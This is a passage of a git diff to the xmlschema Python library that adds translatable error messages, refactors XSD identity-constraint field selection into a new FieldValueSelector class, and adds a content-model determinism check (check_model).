attribute)) + raise ValueError(_("wrong value %r for attribute %r") % (value, attribute)) return value +def get_xsd_annotation_child(elem: ElementType) -> Optional[ElementType]: + """ + Returns the child element of the annotation associated to an XSD component, + `None` if it doesn't exist. + """ + for child in elem: + if child.tag == XSD_ANNOTATION: + return child + elif not callable(child.tag): + return None + else: + return None + + # # XSD built-in types validator functions @@ -55,92 +76,92 @@ def decimal_validator(value: Union[Decimal, int, float, str]) -> None: raise ValueError() except (ValueError, TypeError): raise XMLSchemaValidationError(decimal_validator, value, - "value is not a valid xs:decimal") from None + _("value is not a valid xs:decimal")) from None def qname_validator(value: str) -> None: if datatypes.QName.pattern.match(value) is None: raise XMLSchemaValidationError(qname_validator, value, - "value is not an xs:QName") + _("value is not an xs:QName")) def byte_validator(value: int) -> None: if not (-2**7 <= value < 2 ** 7): raise XMLSchemaValidationError(int_validator, value, - "value must be -128 <= x < 128") + _("value must be {:s}").format("-128 <= x < 128")) def short_validator(value: int) -> None: if not (-2**15 <= value < 2 ** 15): raise XMLSchemaValidationError(short_validator, value, - "value must be -2^15 <= x < 2^15") + _("value must be {:s}").format("-2^15 <= x < 2^15")) def int_validator(value: int) -> None: if not (-2**31 <= value < 2 ** 31): raise XMLSchemaValidationError(int_validator, value, - "value must be -2^31 <= x < 2^31") + _("value must be {:s}").format("-2^31 <= x < 2^31")) def long_validator(value: int) -> None: if not (-2**63 <= value < 2 ** 63): raise XMLSchemaValidationError(long_validator, value, - "value must be -2^63 <= x < 2^63") + _("value must be {:s}").format("-2^63 <= x < 2^63")) def unsigned_byte_validator(value: int) -> None: if not (0 <= value < 2 ** 8): raise XMLSchemaValidationError(unsigned_byte_validator, value, - "value must be 0 <= x < 256") + _("value must be {:s}").format("0 <= x < 256")) def unsigned_short_validator(value: int) -> None: if not (0 <= value < 2 ** 16): raise XMLSchemaValidationError(unsigned_short_validator, value, - "value must be 0 <= x < 2^16") + _("value must be {:s}").format("0 <= x < 2^16")) def unsigned_int_validator(value: int) -> None: if not (0 <= value < 2 ** 32): raise XMLSchemaValidationError(unsigned_int_validator, value, - "value must be 0 <= x < 2^32") + _("value must be {:s}").format("0 <= x < 2^32")) def unsigned_long_validator(value: int) -> None: if not (0 <= value < 2 ** 64): raise XMLSchemaValidationError(unsigned_long_validator, value, - "value must be 0 <= x < 2^64") + _("value must be {:s}").format("0 <= x < 2^64")) def negative_int_validator(value: int) -> None: if value >= 0: raise XMLSchemaValidationError(negative_int_validator, value, - "value must be negative") + _("value must be negative")) def positive_int_validator(value: int) -> None: if value <= 0: raise XMLSchemaValidationError(positive_int_validator, value, - "value must be positive") + _("value must be positive")) def non_positive_int_validator(value: int) -> None: if value > 0: raise XMLSchemaValidationError(non_positive_int_validator, value, - "value must be non positive") + _("value must be non positive")) def non_negative_int_validator(value: int) -> None: if value < 0: raise XMLSchemaValidationError(non_negative_int_validator, value, - "value must be non negative") + _("value must be non negative")) def hex_binary_validator(value: Union[str, datatypes.HexBinary]) -> None: if not isinstance(value, datatypes.HexBinary) and \ datatypes.HexBinary.pattern.match(value) is None: raise XMLSchemaValidationError(hex_binary_validator, value, - "not an hexadecimal number") + _("not an hexadecimal number")) def base64_binary_validator(value: Union[str, datatypes.Base64Binary]) -> None: @@ -153,25 +174,33 @@ def base64_binary_validator(value: Union[str, datatypes.Base64Binary]) -> None: match = datatypes.Base64Binary.pattern.match(value) if match is None or match.group(0) != value: raise XMLSchemaValidationError(base64_binary_validator, value, - "not a base64 encoding") + _("not a base64 encoding")) def error_type_validator(value: object) -> None: raise XMLSchemaValidationError(error_type_validator, value, - "no value is allowed for xs:error type") + _("no value is allowed for xs:error type")) # # XSD builtin decoding functions def boolean_to_python(value: str) -> bool: - if value in {'true', '1'}: - return True - elif value in {'false', '0'}: - return False - else: - raise XMLSchemaValueError('{!r} is not a boolean value'.format(value)) + try: + return XSD_BOOLEAN_MAP[value] + except KeyError: + raise XMLSchemaValueError(_('{!r} is not a boolean value').format(value)) def python_to_boolean(value: object) -> str: return str(value).lower() + + +def python_to_float(value: SupportsFloat) -> str: + if isnan(value): + return "NaN" + if value == float("inf"): + return "INF" + if value == float("-inf"): + return "-INF" + return str(value) diff --git a/xmlschema/validators/identities.py b/xmlschema/validators/identities.py index 19724ba..8f59f01 100644 --- a/xmlschema/validators/identities.py +++ b/xmlschema/validators/identities.py @@ -10,20 +10,28 @@ """ This module contains classes for other XML Schema identity constraints. """ +import copy import re import math -from typing import TYPE_CHECKING, Any, Dict, Iterator, List, Optional, Pattern, \ +from typing import TYPE_CHECKING, cast, Any, Dict, Iterator, List, Optional, Pattern, \ Tuple, Union, Counter -from elementpath import XPath2Parser, ElementPathError, XPathToken, XPathContext, \ - translate_pattern, datatypes + +from elementpath import ElementPathError, XPathContext, \ + ElementNode, translate_pattern, AttributeNode +from elementpath.datatypes import UntypedAtomic from ..exceptions import XMLSchemaTypeError, XMLSchemaValueError -from ..names import XSD_QNAME, XSD_UNIQUE, XSD_KEY, XSD_KEYREF, XSD_SELECTOR, XSD_FIELD +from ..names import XSD_UNIQUE, XSD_KEY, XSD_KEYREF, XSD_SELECTOR, XSD_FIELD +from ..translation import gettext as _ from ..helpers import get_qname, get_extended_qname -from ..aliases import ElementType, SchemaType, NamespacesType, AtomicValueType -from ..xpath import iter_schema_nodes +from ..aliases import ElementType, SchemaType, NamespacesType, AtomicValueType, \ + BaseXsdType, SchemaElementType, SchemaAttributeType +from ..xpath import IdentityXPathParser, XPathElement +from .exceptions import XMLSchemaNotBuiltError from .xsdbase import XsdComponent from .attributes import XsdAttribute +from .wildcards import XsdAnyElement, XsdWildcard +from . import elements as elements_module if TYPE_CHECKING: from .elements import XsdElement @@ -32,31 +40,8 @@ IdentityCounterType = Tuple[IdentityFieldItemType, ...] IdentityMapType = Dict[Union['XsdKey', 'XsdKeyref', str, None], Union['IdentityCounter', 'KeyrefCounter']] - -XSD_IDENTITY_XPATH_SYMBOLS = frozenset(( - 'processing-instruction', 'following-sibling', 'preceding-sibling', - 'ancestor-or-self', 'attribute', 'following', 'namespace', 'preceding', - 'ancestor', 'position', 'comment', 'parent', 'child', 'false', 'text', 'node', - 'true', 'last', 'not', 'and', 'mod', 'div', 'or', '..', '//', '!=', '<=', '>=', - '(', ')', '[', ']', '.', '@', ',', '/', '|', '*', '-', '=', '+', '<', '>', ':', - '(end)', '(unknown)', '(invalid)', '(name)', '(string)', '(float)', '(decimal)', - '(integer)', '::', '{', '}', -)) - - -# XSD identities use a restricted parser and a context for iterate element -# references. The XMLSchemaProxy is not used for the specific selection of -# fields and elements and the XSD fields are got at first validation run. -class IdentityXPathContext(XPathContext): - _iter_nodes = staticmethod(iter_schema_nodes) - - -class IdentityXPathParser(XPath2Parser): - symbol_table = { - k: v for k, v in XPath2Parser.symbol_table.items() # type: ignore[misc] - if k in XSD_IDENTITY_XPATH_SYMBOLS - } - SYMBOLS = XSD_IDENTITY_XPATH_SYMBOLS +IdentityNodeType = Union[ElementNode, AttributeNode] +FieldDecoderType = Union[SchemaElementType, SchemaAttributeType] class XsdSelector(XsdComponent): @@ -71,18 +56,16 @@ class XsdSelector(XsdComponent): lazy_quantifiers=False, anchors=False ) - token = None # type: XPathToken - parser = None # type: IdentityXPathParser def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional['XsdIdentity']) -> None: - super(XsdSelector, self).__init__(elem, schema, parent) + super().__init__(elem, schema, parent) def _parse(self) -> None: try: self.path = self.elem.attrib['xpath'] except KeyError: - self.parse_error("'xpath' attribute required") + self.parse_error(_("'xpath' attribute required")) self.path = '*' else: path = self.path.replace(' ', '') @@ -94,7 +77,7 @@ def _parse(self) -> None: _match = self.pattern.match(path) # type: ignore[union-attr] if not _match: - msg = "invalid XPath expression for an {}" + msg = _("invalid XPath expression for an {}") self.parse_error(msg.format(self.__class__.__name__)) # XSD 1.1 xpathDefaultNamespace attribute @@ -122,18 +105,7 @@ def __repr__(self) -> str: @property def built(self) -> bool: - return self.token is not None - - @property - def target_namespace(self) -> str: - # TODO: implement a property in elementpath for getting XPath token's namespace - if self.token is None: - pass # xpathDefaultNamespace="##targetNamespace" - elif self.token.symbol == ':': - return self.token[1].namespace or self.xpath_default_namespace - elif self.token.symbol == '@' and self.token[0].symbol == ':': - return self.token[0][1].namespace or self.xpath_default_namespace - return self.schema.target_namespace + return True class XsdFieldSelector(XsdSelector): @@ -164,21 +136,21 @@ class XsdIdentity(XsdComponent): parent: 'XsdElement' ref: Optional['XsdIdentity'] - selector = None # type: XsdSelector - fields = () # type: Union[Tuple[()], List[XsdFieldSelector]] + selector: Optional[XsdSelector] = None + fields: List[XsdFieldSelector] # XSD elements bound by selector (for speed-up and for lazy mode) - elements: Union[Tuple[()], Dict['XsdElement', Optional[IdentityCounterType]]] = () + elements: Dict['XsdElement', List['FieldValueSelector']] def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional['XsdElement']) -> None: - super(XsdIdentity, self).__init__(elem, schema, parent) + super().__init__(elem, schema, parent) def _parse(self) -> None: try: self.name = get_qname(self.target_namespace, self.elem.attrib['name']) except KeyError: - self.parse_error("missing required attribute 'name'") + self.parse_error(_("missing required attribute 'name'")) self.name = '' for child in self.elem: @@ -186,7 +158,7 @@ def _parse(self) -> None: self.selector = XsdSelector(child, self.schema, self) break else: - self.parse_error("missing 'selector' declaration.") + self.parse_error(_("missing 'selector' declaration")) self.fields = [] for child in self.elem: @@ -198,131 +170,67 @@ def build(self) -> None: try: ref = self.maps.identities[self.name] except KeyError: - self.parse_error("unknown identity constraint {!r}".format(self.name)) + msg = _("unknown identity constraint {!r}") + self.parse_error(msg.format(self.name)) return else: if not isinstance(ref, self.__class__): - self.parse_error("attribute 'ref' points to a different kind constraint") + msg = _("attribute 'ref' points to a different kind constraint") + self.parse_error(msg) self.selector = ref.selector self.fields = ref.fields self.ref = ref - context = IdentityXPathContext(self.schema, item=self.parent) # type: ignore - - self.elements = {} - try: - for e in self.selector.token.select_results(context): - if not isinstance(e, XsdComponent) or isinstance(e, XsdAttribute): - self.parse_error("selector xpath expression can only select elements") - elif e.name is not None: - if TYPE_CHECKING: - assert isinstance(e, XsdElement) # for mypy checks with Python 3.7 - self.elements[e] = None - except AttributeError: - pass - else: - if not self.elements: - # Try to detect target XSD elements extracting QNames - # of the leaf elements from the XPath expression and - # use them to match global elements. - - qname: Any - for qname in self.selector.token.iter_leaf_elements(): - xsd_element = self.maps.elements.get( - get_extended_qname(qname, self.namespaces) - ) - if xsd_element is not None and \ - not isinstance(xsd_element, tuple) and \ - xsd_element not in self.elements: - self.elements[xsd_element] = None + if self.selector is None: + return # Do not raise, already found by meta-schema validation. + + self.elements = self.get_selected_elements(base_element=self.parent) + + def get_selected_elements(self, base_element: Union['XsdElement', XPathElement]) \ + -> Dict['XsdElement', List['FieldValueSelector']]: + elements: Dict['XsdElement', List['FieldValueSelector']] = {} + if self.selector is None: + return elements + + context = XPathContext(self.schema.xpath_node, item=base_element.xpath_node) + for e in self.selector.token.select_results(context): + if isinstance(e, elements_module.XsdElement): + if e.name is not None: + if e.ref is not None: + e = e.ref + if e not in elements: + elements[e] = [FieldValueSelector(f, e) for f in self.fields] + e.selected_by.add(self) + + elif not isinstance(e, XsdAnyElement): + msg = _("selector xpath expression can only select elements") + self.parse_error(msg) + + if not elements: + # Try to detect target XSD elements extracting QNames + # of the leaf elements from the XPath expression and + # use them to match global elements. + + qname: Any + for qname in self.selector.token.iter_leaf_elements(): + e1 = self.maps.elements.get( + get_extended_qname(qname, self.namespaces) + ) + if e1 is not None and not isinstance(e1, tuple) and e1 not in elements: + if e1.ref is not None: + e1 = e1.ref + if e1 not in elements: + elements[e1] = [FieldValueSelector(f, e1) for f in self.fields] + e1.selected_by.add(self) + + return elements @property def built(self) -> bool: - return not isinstance(self.elements, tuple) - - def get_fields(self, elem: Union[ElementType, 'XsdElement'], - namespaces: Optional[NamespacesType] = None, - decoders: Optional[Tuple[XsdAttribute, ...]] = None) -> IdentityCounterType: - """ - Get fields for a schema or instance context element. - - :param elem: an Element or an XsdElement - :param namespaces: is an optional mapping from namespace prefix to URI. - :param decoders: context schema fields decoders. - :return: a tuple with field values. An empty field is replaced by `None`. - """ - fields: List[IdentityFieldItemType] = [] - - if not isinstance(elem, XsdComponent): - context_class = XPathContext - else: - context_class = IdentityXPathContext - - result: Any - value: Union[AtomicValueType, None] - for k, field in enumerate(self.fields): - result = field.token.get_results(context_class(elem)) # type: ignore - - if not result: - if decoders is not None and decoders[k] is not None: - value = decoders[k].value_constraint - if value is not None: - if decoders[k].type.root_type.name == XSD_QNAME: - value = get_extended_qname(value, namespaces) - - if isinstance(value, list): - fields.append(tuple(value)) - elif isinstance(value, bool): - fields.append((value, bool)) - elif not isinstance(value, float): - fields.append(value) - elif math.isnan(value): - fields.append(('nan', float)) - else: - fields.append((value, float)) - - continue - - if not isinstance(self, XsdKey) or 'ref' in elem.attrib and \ - self.schema.meta_schema is None and self.schema.XSD_VERSION != '1.0': - fields.append(None) - elif field.target_namespace not in self.maps.namespaces: - fields.append(None) - else: - msg = "missing key field {!r} for {!r}" - raise XMLSchemaValueError(msg.format(field.path, self)) - - elif len(result) == 1: - if decoders is None or decoders[k] is None: - fields.append(result[0]) - else: - if decoders[k].type.content_type_label not in ('simple', 'mixed'): - raise XMLSchemaTypeError("%r field doesn't have a simple type!" % field) - - value = decoders[k].data_value(result[0]) - if decoders[k].type.root_type.name == XSD_QNAME: - if isinstance(value, str): - value = get_extended_qname(value, namespaces) - elif isinstance(value, datatypes.QName): - value = value.expanded_name - - if isinstance(value, list): - fields.append(tuple(value)) - elif isinstance(value, bool): - fields.append((value, bool)) - elif not isinstance(value, float): - fields.append(value) - elif math.isnan(value): - fields.append(('nan', float)) - else: - fields.append((value, float)) - else: - raise XMLSchemaValueError("%r field selects multiple values!" % field) + return 'elements' in self.__dict__ - return tuple(fields) - - def get_counter(self, enabled: bool = True) -> 'IdentityCounter': - return IdentityCounter(self, enabled) + def get_counter(self, elem: ElementType) -> 'IdentityCounter': + return IdentityCounter(self, elem) class XsdUnique(XsdIdentity): @@ -345,17 +253,17 @@ class XsdKeyref(XsdIdentity): refer_path = '.' def _parse(self) -> None: - super(XsdKeyref, self)._parse() + super()._parse() try: self.refer = self.schema.resolve_qname(self.elem.attrib['refer']) except (KeyError, ValueError, RuntimeError) as err: if 'refer' not in self.elem.attrib: - self.parse_error("missing required attribute 'refer'") + self.parse_error(_("missing required attribute 'refer'")) else: self.parse_error(err) def build(self) -> None: - super(XsdKeyref, self).build() + super().build() if isinstance(self.refer, (XsdKey, XsdUnique)): return # referenced key/unique identity constraint already set @@ -365,20 +273,29 @@ def build(self) -> None: if self.refer is None: return # attribute or key/unique identity constraint missing elif isinstance(self.refer, str): - refer = self.parent.identities.get(self.refer) + refer: Optional[XsdIdentity] + for refer in self.parent.identities: + if refer.name == self.refer: + break + else: + refer = None + if refer is not None and refer.ref is None: self.refer = refer # type: ignore[assignment] else: try: self.refer = self.maps.identities[self.refer] # type: ignore[assignment] except KeyError: - self.parse_error("key/unique identity constraint %r is missing" % self.refer) + msg = _("key/unique identity constraint %r is missing") + self.parse_error(msg % self.refer) return if not isinstance(self.refer, (XsdKey, XsdUnique)): - self.parse_error("reference to a non key/unique identity constraint %r" % self.refer) + msg = _("reference to a non key/unique identity constraint %r") + self.parse_error(msg % self.refer) elif len(self.refer.fields) != len(self.fields): - self.parse_error("field cardinality mismatch between %r and %r" % (self, self.refer)) + msg = _("field cardinality mismatch between {0!r} and {1!r}") + self.parse_error(msg.format(self, self.refer)) elif self.parent is not self.refer.parent: refer_path = self.refer.parent.get_path(ancestor=self.parent) if refer_path is None: @@ -402,8 +319,8 @@ def build(self) -> None: def built(self) -> bool: return not isinstance(self.elements, tuple) and isinstance(self.refer, XsdIdentity) - def get_counter(self, enabled: bool = True) -> 'KeyrefCounter': - return KeyrefCounter(self, enabled) + def get_counter(self, elem: ElementType) -> 'KeyrefCounter': + return KeyrefCounter(self, elem) class Xsd11Unique(XsdUnique): @@ -411,7 +328,7 @@ def _parse(self) -> None: if self._parse_reference(): self.ref = True # type: ignore[assignment] else: - super(Xsd11Unique, self)._parse() + super()._parse() class Xsd11Key(XsdKey): @@ -419,7 +336,7 @@ def _parse(self) -> None: if self._parse_reference(): self.ref = True # type: ignore[assignment] else: - super(Xsd11Key, self)._parse() + super()._parse() class Xsd11Keyref(XsdKeyref): @@ -427,27 +344,31 @@ def _parse(self) -> None: if self._parse_reference(): self.ref = True # type: ignore[assignment] else: - super(Xsd11Keyref, self)._parse() + super()._parse() class IdentityCounter: - def __init__(self, identity: XsdIdentity, enabled: bool = True) -> None: + def __init__(self, identity: XsdIdentity, elem: ElementType) -> None: self.counter: Counter[IdentityCounterType] = Counter[IdentityCounterType]() self.identity = identity - self.enabled = enabled + self.elem = elem + self.enabled = True + self.elements = None def __repr__(self) -> str: return "%s%r" % (self.__class__.__name__[:-7], self.counter) - def clear(self) -> None: + def reset(self, elem: ElementType) -> None: self.counter.clear() + self.elem = elem self.enabled = True + self.elements = None def increase(self, fields: IdentityCounterType) -> None: self.counter[fields] += 1 if self.counter[fields] == 2: - msg = "duplicated value {!r} for {!r}" + msg = _("duplicated value {0!r} for {1!r}") raise XMLSchemaValueError(msg.format(fields, self.identity)) @@ -469,3 +390,121 @@ def iter_errors(self, identities: IdentityMapType) -> Iterator[XMLSchemaValueErr else: msg = "value {} not found for {!r}" yield XMLSchemaValueError(msg.format(v, self.identity.refer)) + + +class FieldValueSelector: + + skip_wildcard = False + + def __init__(self, field: XsdFieldSelector, xsd_element: 'XsdElement') -> None: + if field.token is None: + msg = f"identity field {field} is not built" + raise XMLSchemaNotBuiltError(field, msg) + + self.field = field + self.xsd_element = xsd_element + self.value_constraints = {} + + self.token = copy.deepcopy(field.token) + schema_context = xsd_element.xpath_proxy.get_context() + self.decoders = [] + + for node in self.token.select(schema_context): + if not isinstance(node, (AttributeNode, ElementNode)): + raise XMLSchemaTypeError( + "xs:field path must select only attributes and elements" + ) + + comp = cast(FieldDecoderType, node.value) + self.decoders.append(comp) + if isinstance(comp, XsdWildcard): + if comp.process_contents == 'skip': + self.skip_wildcard = True + else: + value_constraint = comp.value_constraint + if value_constraint is not None: + self.value_constraints[node.name] = comp.type.text_decode(value_constraint) + if isinstance(comp, XsdAttribute): + self.value_constraints[None] = self.value_constraints[node.name] + + if len(self.decoders) > 1 and None in self.value_constraints: + self.value_constraints.pop(None) + + def get_value(self, element_node: ElementNode, + namespaces: Optional[NamespacesType] = None) -> IdentityFieldItemType: + """ + Get field value from an element node for a schema or instance context element. + + :param element_node: a no Element + :param namespaces: is an optional mapping from namespace prefix to URI. + """ + value: Union[AtomicValueType, List[AtomicValueType], None] = None + context = XPathContext(element_node, namespaces=namespaces) + elem = element_node.elem # type: ignore[attr-defined, unused-ignore] + + empty = True + for node in cast(Iterator[IdentityNodeType], self.token.select(context)): + if empty: + empty = False + else: + msg = _("%r field selects multiple values!") + raise XMLSchemaValueError(msg % self.field) + + try: + xsd_type = cast(Optional[BaseXsdType], node.xsd_type) + except AttributeError: + msg = _("%r field selects a %r!") + raise XMLSchemaTypeError(msg % (self.field, type(node))) + + if xsd_type is None: + if self.skip_wildcard: + value = None + else: + value = node.string_value + elif xsd_type.content_type_label not in ('simple', 'mixed'): + msg = _("%r field doesn't have a simple type!") + raise XMLSchemaTypeError(msg % self.field) + elif xsd_type.is_qname(): + value = get_extended_qname(node.string_value.strip(), namespaces) + elif xsd_type.is_boolean(): + # Workarounds for discovered issues with XPath processors + value = xsd_type.text_decode(node.string_value.strip()) + else: + try: + value = node.typed_value # type: ignore[assignment,unused-ignore] + except (KeyError, ValueError): + for decoder in self.decoders: + if not isinstance(decoder, XsdWildcard): + if decoder.is_matching(node.name): + value = decoder.type.text_decode(node.string_value) + break + else: + value = node.string_value + + if value is None: + value = self.value_constraints.get(node.name) + else: + if empty: + value = self.value_constraints.get(None) + + if value is None: + if not isinstance(self.field.parent, XsdKey) or \ + 'ref' in elem.attrib and \ + self.field.schema.meta_schema is None and \ + self.field.schema.XSD_VERSION != '1.0': + return None + else: + msg = _("missing key field {0!r} for {1!r}") + raise XMLSchemaValueError(msg.format(self.field.path, self)) + elif isinstance(value, list): + return tuple(value) + elif isinstance(value, UntypedAtomic): + return str(value) + elif isinstance(value, bool): + return value, bool + elif not isinstance(value, float): + return value + elif math.isnan(value): + return 'nan', float + else: + return value, float diff --git a/xmlschema/validators/models.py b/xmlschema/validators/models.py index f768351..cd2323d 100644 --- a/xmlschema/validators/models.py +++ b/xmlschema/validators/models.py @@ -8,19 +8,36 @@ # @author Davide Brunato <brunato@sissa.it> # """ -This module contains a function and a class for validating XSD content models. +This module contains a function and a class for validating XSD content models, +plus a set of functions for manipulating encoded content. """ -from collections import defaultdict, deque -from typing import Any, Counter, Dict, Iterable, Iterator, List, Optional, Tuple, Union - -from ..exceptions import XMLSchemaValueError -from ..aliases import ModelGroupType, ModelParticleType, SchemaElementType +import sys +from collections import defaultdict, deque, Counter +from copy import copy +from operator import attrgetter +from typing import Any, Dict, Iterable, Iterator, List, Optional, Tuple, Union +import warnings + +if sys.version_info >= (3, 9): + from collections.abc import MutableMapping, MutableSequence +else: + from typing import MutableMapping, MutableSequence + +from ..exceptions import XMLSchemaRuntimeError, XMLSchemaTypeError, XMLSchemaValueError +from ..aliases import ModelGroupType, ModelParticleType, SchemaElementType, \ + OccursCounterType +from ..translation import gettext as _ +from .. import limits +from .exceptions import XMLSchemaModelError, XMLSchemaModelDepthError +from .wildcards import XsdAnyElement, Xsd11AnyElement from . import groups AdvanceYieldedType = Tuple[ModelParticleType, int, List[SchemaElementType]] -EncodedContentType = Union[Dict[Union[int, str], List[Any]], - List[Tuple[Union[int, str], List[Any]]]] ContentItemType = Tuple[Union[int, str], Any] +EncodedContentType = Union[MutableMapping[Union[int, str], Any], Iterable[ContentItemType]] +StepType = Union[str, SchemaElementType, Tuple[Union[str, SchemaElementType], int]] + +get_occurs = attrgetter('min_occurs', 'max_occurs') def distinguishable_paths(path1: List[ModelParticleType], path2: List[ModelParticleType]) -> bool: @@ -88,6 +105,81 @@ def distinguishable_paths(path1: List[ModelParticleType], path2: List[ModelParti (before1 or (before2 or univocal2) and (path2[-1].is_univocal() or after2)) +def check_model(group: ModelGroupType) -> None: + """ + Checks if the model group is deterministic. Element Declarations Consistent and + Unique Particle Attribution constraints are checked. + + :param group: the model group to check. + :raises: an `XMLSchemaModelError` at first violated constraint. + """ + def safe_iter_path() -> Iterator[SchemaElementType]: + iterators: List[Iterator[ModelParticleType]] = [] + particles = iter(group) + + while True: + for item in particles: + if isinstance(item, groups.XsdGroup): + current_path.append(item) + iterators.append(particles) + particles = iter(item) + if len(iterators) > limits.MAX_MODEL_DEPTH: + raise XMLSchemaModelDepthError(group) + break + else: + yield item + else: + try: + current_path.pop() + particles = iterators.pop() + except IndexError: + return + + paths: Any = {} + current_path: List[ModelParticleType] = [group] + try: + any_element = group.parent.open_content.any_element # type: ignore[union-attr] + except AttributeError: + any_element = None + + for e in safe_iter_path(): + + previous_path: List[ModelParticleType] + for pe, previous_path in paths.values(): + # EDC check + if not e.is_consistent(pe) or any_element and not any_element.is_consistent(pe): + msg = _("Element Declarations Consistent violation between {0!r} and {1!r}" + ": match the same name but with different types").format(e, pe) + raise XMLSchemaModelError(group, msg) + + # UPA check + if pe is e or not pe.is_overlap(e): + continue + elif pe.parent is e.parent: + if pe.parent.model in {'all', 'choice'}: + if isinstance(pe, Xsd11AnyElement) and not isinstance(e, XsdAnyElement): + pe.add_precedence(e, group) + elif isinstance(e, Xsd11AnyElement) and not isinstance(pe, XsdAnyElement): + e.add_precedence(pe, group) + else: + msg = _("{0!r} and {1!r} overlap and are in the same {2!r} group") + raise XMLSchemaModelError(group, msg.format(pe, e, pe.parent.model)) + elif pe.is_univocal(): + continue + + if distinguishable_paths(previous_path + [pe], current_path + [e]): + continue + elif isinstance(pe, Xsd11AnyElement) and not isinstance(e, XsdAnyElement): + pe.add_precedence(e, group) + elif isinstance(e, Xsd11AnyElement) and not isinstance(pe, XsdAnyElement): + e.add_precedence(pe, group) + else: + msg = _("Unique Particle Attribution violation between {0!r} and {1!r}") + raise XMLSchemaModelError(group, msg.format(pe, e)) + + paths[e.name] = e, current_path[:] + + class ModelVisitor: """ A visitor design pattern class that can be used for validating XML data related to an XSD @@ -104,11 +196,14 @@ class ModelVisitor: """ _groups: List[Tuple[ModelGroupType, Iterator[ModelParticleType], bool]] element: Optional[SchemaElementType] + occurs: OccursCounterType + + __slots__ = '_groups', 'root', 'occurs', 'element', 'group', 'items', 'match' def __init__(self, root: ModelGroupType) -> None: self._groups = [] self.root = root - self.occurs = Counter[Union[ModelParticleType, Tuple[ModelParticleType]]]() + self.occurs = Counter() self.element = None self.group = root self.items = self.iter_group() @@ -144,44 +239,44 @@ def _start(self) -> None: @property def expected(self) -> List[SchemaElementType]: - """ - Returns the expected elements of the current and descendant groups. - """ - expected: List[SchemaElementType] = [] - items: Union[ModelGroupType, Iterator[ModelParticleType]] - - if self.group.model == 'choice': - items = self.group - elif self.group.model == 'all': - items = (e for e in self.group if e.min_occurs > self.occurs[e]) - else: - items = (e for e in self.group if e.min_occurs > self.occurs[e]) - - for e in items: - if isinstance(e, groups.XsdGroup): - expected.extend(e.iter_elements()) - else: - expected.append(e) - expected.extend(e.maps.substitution_groups.get(e.name or '', ())) - return expected + """Returns the expected elements of the current and descendant groups.""" + return self.group.get_expected(self.occurs) def restart(self) -> None: self.clear() self._start() def stop(self) -> Iterator[AdvanceYieldedType]: + """Stop the model and returns the errors, if any.""" while self.element is not None: - for e in self.advance(): - yield e + yield from self.advance() def iter_group(self) -> Iterator[ModelParticleType]: """Returns an iterator for the current model group.""" - if self.group.max_occurs == 0: - return iter(()) - elif self.group.model != 'all': - return iter(self.group) + if self.group.model == 'all': + for e in self.group.iter_elements(): + if not e.is_over(self.occurs): + yield e + elif self.group.max_occurs == 0: + return else: - return (e for e in self.group.iter_elements() if not e.is_over(self.occurs[e])) + yield from self.group.content + + def match_element(self, tag: str) -> Optional[SchemaElementType]: + if self.element is None: + raise XMLSchemaValueError(f"can't match the tag, {self!r} is ended!") + elif self.element.max_occurs == 0: + return None + elif self.element.name is None: + return self.element.match(tag, group=self.root, occurs=self.occurs) + elif tag == self.element.name: + return self.element + else: + for xsd_element in self.element.iter_substitutes(): + if tag == xsd_element.name: + return xsd_element + else: + return None def advance(self, match: bool = False) -> Iterator[AdvanceYieldedType]: """ @@ -190,274 +285,665 @@ def advance(self, match: bool = False) -> Iterator[AdvanceYieldedType]: :param match: provides current element match. """ - def stop_item(item: ModelParticleType) -> bool: + item: ModelParticleType + item_occurs: int + + def stop_item() -> bool: """ Stops element or group matching, incrementing current group counter. :return: `True` if the item has violated the minimum occurrences for itself \ or for the current group, `False` otherwise. """ + nonlocal item + nonlocal item_occurs + + item_occurs = occurs[item] if isinstance(item, groups.XsdGroup): self.group, self.items, self.match = self._groups.pop() if self.group.model == 'choice': - item_occurs = occurs[item] if not item_occurs: return False - item_max_occurs = occurs[(item,)] or item_occurs - if item.max_occurs is None: - min_group_occurs = 1 - elif item_occurs % item.max_occurs: - min_group_occurs = 1 + item_occurs // item.max_occurs - else: - min_group_occurs = item_occurs // item.max_occurs + high_occurs = occurs[item.oid] or item_occurs + min_occurs, max_occurs = get_occurs(item) - max_group_occurs = max(1, item_max_occurs // (item.min_occurs or 1)) + if max_occurs is None: + occurs[self.group] += 1 + elif item_occurs % max_occurs: + occurs[self.group] += 1 + item_occurs // max_occurs + else: + occurs[self.group] += item_occurs // max_occurs - occurs[self.group] += min_group_occurs - occurs[(self.group,)] += max_group_occurs - occurs[item] = 0 + occurs[self.group.oid] += (high_occurs // (min_occurs or 1)) or 1 + occurs[item] = occurs[item.oid] = 0 self.items = self.iter_group() self.match = False - return item.is_missing(item_max_occurs) + return min_occurs > high_occurs # type: ignore[no-any-return] elif self.group.model == 'all': - return False + return False # 'all' models can only be checked at the end elif self.match: pass - elif occurs[item]: + elif item_occurs: self.match = True elif item.is_emptiable(): return False elif self._groups: - return stop_item(self.group) - elif self.group.min_occurs <= max(occurs[self.group], occurs[(self.group,)]): - return stop_item(self.group) - else: + item = self.group + return stop_item() + elif self.group.is_missing(occurs): return True + else: + item = self.group + return stop_item() - if item is self.group[-1]: - for k, item2 in enumerate(self.group, start=1): # pragma: no cover - item_occurs = occurs[item2] - if not item_occurs: + if item is self.group.content[-1]: + for k, item2 in enumerate(self.group.content, start=1): # pragma: no cover + low_occurs = occurs[item2] + if not low_occurs: continue - item_max_occurs = occurs[(item2,)] or item_occurs - if item_max_occurs == 1 or any(not x.is_emptiable() for x in self.group[k:]): - self.occurs[self.group] += 1 + high_occurs = occurs[item2.oid] or low_occurs + if high_occurs == 1 or \ + any(not x.is_emptiable() for x in self.group.content[k:]): + occurs[self.group] += 1 + occurs[self.group.oid] += 1 break - min_group_occurs = max(1, item_occurs // (item2.max_occurs or item_occurs)) - max_group_occurs = max(1, item_max_occurs // (item2.min_occurs or 1)) - - occurs[self.group] += min_group_occurs - occurs[(self.group,)] += max_group_occurs + occurs[self.group] += (low_occurs // (item2.max_occurs or low_occurs)) or 1 + occurs[self.group.oid] += (high_occurs // (item2.min_occurs or 1)) or 1 break - return item.is_missing(max(occurs[item], occurs[(item,)])) + return item.is_missing(occurs) + + def model_error_tuple() -> AdvanceYieldedType: + if occurs[item]: + expected = item.get_expected(occurs) + else: + occurs[item] = item_occurs + expected = item.get_expected(occurs) + occurs[item] = 0 + + return item, item_occurs, expected - element, occurs = self.element, self.occurs - if element is None: - raise XMLSchemaValueError("cannot advance, %r is ended!" % self) + if self.element is None: + 